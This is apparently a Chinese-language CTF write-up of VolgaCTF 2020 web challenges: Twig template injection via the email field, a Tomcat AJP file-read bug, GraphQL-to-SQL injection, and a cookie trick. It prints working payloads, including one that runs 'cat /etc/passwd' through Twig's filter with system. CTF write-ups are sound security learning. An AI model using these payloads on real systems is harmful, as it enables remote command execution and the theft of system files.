volgactf web Newsletter 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace App \Controller ;use Symfony \Bundle \FrameworkBundle \Controller \AbstractController ;use Symfony \Component \HttpFoundation \Response ;use Symfony \Component \HttpFoundation \Request ;use Symfony \Component \Mailer \MailerInterface ;use Symfony \Component \Mime \Email ;class MainController extends AbstractController { public function index (Request $request ) { return $this ->render('main.twig' ); } public function subscribe (Request $request , MailerInterface $mailer ) { $msg = '' ; $email = filter_var($request ->request->get('email' , '' ), FILTER_VALIDATE_EMAIL); if ($email !== FALSE ) { $name = substr($email , 0 , strpos($email , '@' )); $content = $this ->get('twig' )->createTemplate( "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>" )->render(); $mail = (new Email())->from('[email protected] ' )->to($email )->subject('VolgaCTF Newsletter' )->html($content ); $mailer ->send($mail ); $msg = 'Success' ; } else { $msg = 'Invalid email' ; } return $this ->render('main.twig' , ['msg' => $msg ]); } public function source ( ) { return new Response('<pre>' .htmlspecialchars(file_get_contents(__FILE__ )).'</pre>' ); } }
我们很容易知道这里存在ssti,但是有两个问题:
FILTER_VALIDATE_EMAIL验证
如何接收结果
第二个问题不难解决,直接用自己的vps接受就可以,第一个问题通过查询维基百科也可以构造出payload,但是payload却有长度限制,最多只能有64个字符,通常的twig ssti的payload是无法直接用的了,需要我们自己挖掘
https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly https://en.wikipedia.org/wiki/Email_address
python -m smtpd -n -c DebuggingServer 0.0.0.0:25
以下是我挖掘发现的payload,最后还是没能做出来,原因是自己查询的版本和题目的版本不一样
1 2 3 4 5 6 7 8 9 "{{app.request}}" @ccreater.top"{{app.environment}}" %40 ccreater.top : prod"{{app.request.request.get('name')}}" @[47.107 .171.219 ]email="{{render(controller(app.request.request.get('a')))}}" @ccreater.top&a=App\Controller\MainController::source "{{render(controller(app.request.query.get(1),{'file':'flag'}))}}" @ccreater.top 1 =Symfony\Bundle\FrameworkBundle\Controller::file文件名最长只能4 个,并没有读到flag
以下是wp提供的payload
https://symfony.com/doc/current/reference/twig_reference.html#file-excerpt
1 2 3 4 5 6 7 8 9 10 email="{{'/etc/passwd'|file_excerpt(1,30)}}"@attacker.tld POST /subscribe?0=cat+/etc/passwd HTTP/1.1 Host: newsletter.q.2020.volgactf.ru Content-Type: application/x-www-form-urlencoded email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
https://twig.symfony.com/doc/3.x/functions/constant.html VolgaCTF_6751602deea2a308ab611eeef7a4e961https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html?m=1
其中有一个filter_var来命令执行实在是让我惊讶
NetCorp 这题挺简单的,但是我还是搞了好久,对jsp和题目的cve一点都不熟悉,搞得我写个payload都百度半天
端口扫描发现:
1 2 8009/tcp open ajp13 9090/tcp open zeus-admin
tomcat ajp前段时间刚好出了个文件读取/包含的漏洞
试了一下,确实存在这个洞
先读取/WEB-INF/web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app > <display-name > NetCorp</display-name > <servlet > <servlet-name > ServeScreenshot</servlet-name > <display-name > ServeScreenshot</display-name > <servlet-class > ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > ServeScreenshot</servlet-name > <url-pattern > /ServeScreenshot</url-pattern > </servlet-mapping > <servlet > <servlet-name > ServeComplaint</servlet-name > <display-name > ServeComplaint</display-name > <description > Complaint info</description > <servlet-class > ru.volgactf.netcorp.ServeComplaintServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > ServeComplaint</servlet-name > <url-pattern > /ServeComplaint</url-pattern > </servlet-mapping > <error-page > <error-code > 404</error-code > <location > /404.html</location > </error-page > </web-app >
再读取其他的class文件,其中发现一个上传点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 package ru.volgactf.netcorp;import java.io.*;import java.math.BigInteger;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.util.Collection;import java.util.Iterator;import javax.servlet.*;import javax.servlet.http.*;public class ServeScreenshotServlet extends HttpServlet { public ServeScreenshotServlet () { System.out.println("ServeScreenshotServlet Constructor called!" ); } public void init (ServletConfig config) throws ServletException { System.out.println("ServeScreenshotServlet \"Init\" method called" ); } public void destroy () { System.out.println("ServeScreenshotServlet \"Destroy\" method called" ); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String appPath = request.getServletContext().getRealPath("" ); String savePath = (new StringBuilder()).append(appPath).append("uploads" ).toString(); File fileSaveDir = new File(savePath); if (!fileSaveDir.exists()) fileSaveDir.mkdir(); String submut = request.getParameter("submit" ); if (submut != null ) if (submut.equals("true" )); PrintWriter out = request.getParts().iterator(); do { if (!out.hasNext()) break ; Part part = (Part)out.next(); String fileName = extractFileName(part); fileName = (new File(fileName)).getName(); String hashedFileName = generateFileName(fileName); String path = (new StringBuilder()).append(savePath).append(File.separator).append(hashedFileName).toString(); if (!path.equals("Error" )) part.write(path); } while (true ); out = response.getWriter(); response.setContentType("application/json" ); response.setCharacterEncoding("UTF-8" ); out.print(String.format("{'success':'%s'}" , new Object[] { "true" })); out.flush(); } private String generateFileName (String fileName) { String s2; StringBuilder sb; MessageDigest md = MessageDigest.getInstance("MD5" ); md.update(fileName.getBytes()); byte digest[] = md.digest(); s2 = (new BigInteger(1 , digest)).toString(16 ); sb = new StringBuilder(32 ); int i = 0 ; for (int count = 32 - s2.length(); i < count; i++) sb.append("0" ); return sb.append(s2).toString(); NoSuchAlgorithmException e; e; e.printStackTrace(); return "Error" ; } private String extractFileName (Part part) { String contentDisp = part.getHeader("content-disposition" ); String items[] = contentDisp.split(";" ); String as[] = items; int i = as.length; for (int j = 0 ; j < i; j++) { String s = as[j]; if (s.trim().startsWith("filename" )) return s.substring(s.indexOf("=" ) + 2 , s.length() - 1 ); } return "" ; } private static final String SAVE_DIR = "uploads" ; }
于是问题解决了
Library 这题有点意思,让我接触了一个新的查询语言 Graphql
先是通过报错获知了后端是nodejs,又通过报错得知了api是Graphql
[PayloadsAllTheThings GraphQL]( https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL Injection )
看了他们的官方文档,英文看的头都痛了,才了解一些(平常翘英语课的后果//)
根据他们的例子找到了一个奇怪的query name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 "name" : "testGetUsersByFilter" , "description" : "" , "args" : [ { "name" : "filter" , "description" : "" , "type" : { "kind" : "INPUT_OBJECT" , "name" : "UserFilter" , "ofType" : null }, "defaultValue" : null } ], "type" : { "kind" : "LIST" , "name" : null , "ofType" : { "kind" : "OBJECT" , "name" : "User" , "ofType" : null } }, "isDeprecated" : false , "deprecationReason" : null
妥妥的薄弱点 构造
1 2 3 4 5 6 7 8 9 query testGetUsersByFilter($input: UserFilter){ testGetUsersByFilter(filter:$input) { name login email } } {"input":{"login":"\\","name":" a","email":""}}
返回提示数据库错误,sql注入get
User Center https://spotless.tech/volgactf-2020-qualifier-user-center.html
总结:不同浏览器解析http报文的方式不同
子域可以修改域的cookie